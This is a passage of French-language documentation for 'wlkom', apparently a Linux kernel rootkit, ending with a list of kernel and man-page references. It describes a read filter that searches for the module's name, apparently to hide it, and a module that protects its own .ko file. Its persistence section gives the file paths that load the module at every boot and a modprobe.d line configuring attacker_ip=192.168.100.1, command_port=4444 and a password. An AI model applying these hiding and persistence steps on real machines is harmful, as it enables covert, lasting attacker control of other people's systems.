ARRAY_SIZE(array) | Donne le nombre d'éléments d'un tableau statique. Si on ajoute un hook, la boucle suit automatiquement. |
Exemple concret: dans le filtre de lecture, une ligne est définie par deux pointeurs et une longueur. Elle n'est pas forcément une chaîne C indépendante. strnstr permet donc de chercher wlkom dans cette tranche sans lire après la fin de la ligne.
Persistance Linux
La persistance repose sur les mécanismes standards:
| Fichier | Rôle |
|---|---|
/lib/modules/$(uname -r)/kernel/drivers/wlkom.ko | Module placé dans l'arbre du noyau courant. |
/etc/modules-load.d/wlkom.conf | Demande le chargement de wlkom au boot. |
/etc/modprobe.d/wlkom.conf | Donne attacker_ip, command_port et password. |
Contenu logique:
/etc/modules-load.d/wlkom.conf:
wlkom
/etc/modprobe.d/wlkom.conf:
options wlkom attacker_ip=192.168.100.1 command_port=4444 password=<secret>
L'installateur écrit la persistance avant insmod. Cela paraît étrange, mais c'est nécessaire: une fois actif, le module protège aussi /lib/modules/.../wlkom.ko.
Références:
Liens rapides
| Sujet | Référence |
|---|---|
| Modules externes | docs.kernel.org - External Modules |
| Kbuild | docs.kernel.org - Kbuild |
| ftrace | docs.kernel.org - ftrace |
| Hooks ftrace | docs.kernel.org - Using ftrace to hook to functions |
| Kprobes | docs.kernel.org - Kprobes |
| VFS | docs.kernel.org - VFS |
| Filesystems API | docs.kernel.org - Filesystems API summary |
| Allocations mémoire | docs.kernel.org - Memory Allocation Guide |
| Memory Management APIs | docs.kernel.org - MM API |
| Syscalls | man7 - syscalls(2) |
| getdents | man7 - getdents(2) |
| read | man7 - read(2) |
| readv | man7 - readv(2) |
| openat | man7 - openat(2) |
| mmap | man7 - mmap(2) |
| Credentials | docs.kernel.org - Credentials |
| Networking kAPI | docs.kernel.org - Networking kAPI |
| FNV | RFC 9923 |
| modules-load.d | freedesktop.org - modules-load.d |
| modprobe.d | man7 - modprobe.d(5) |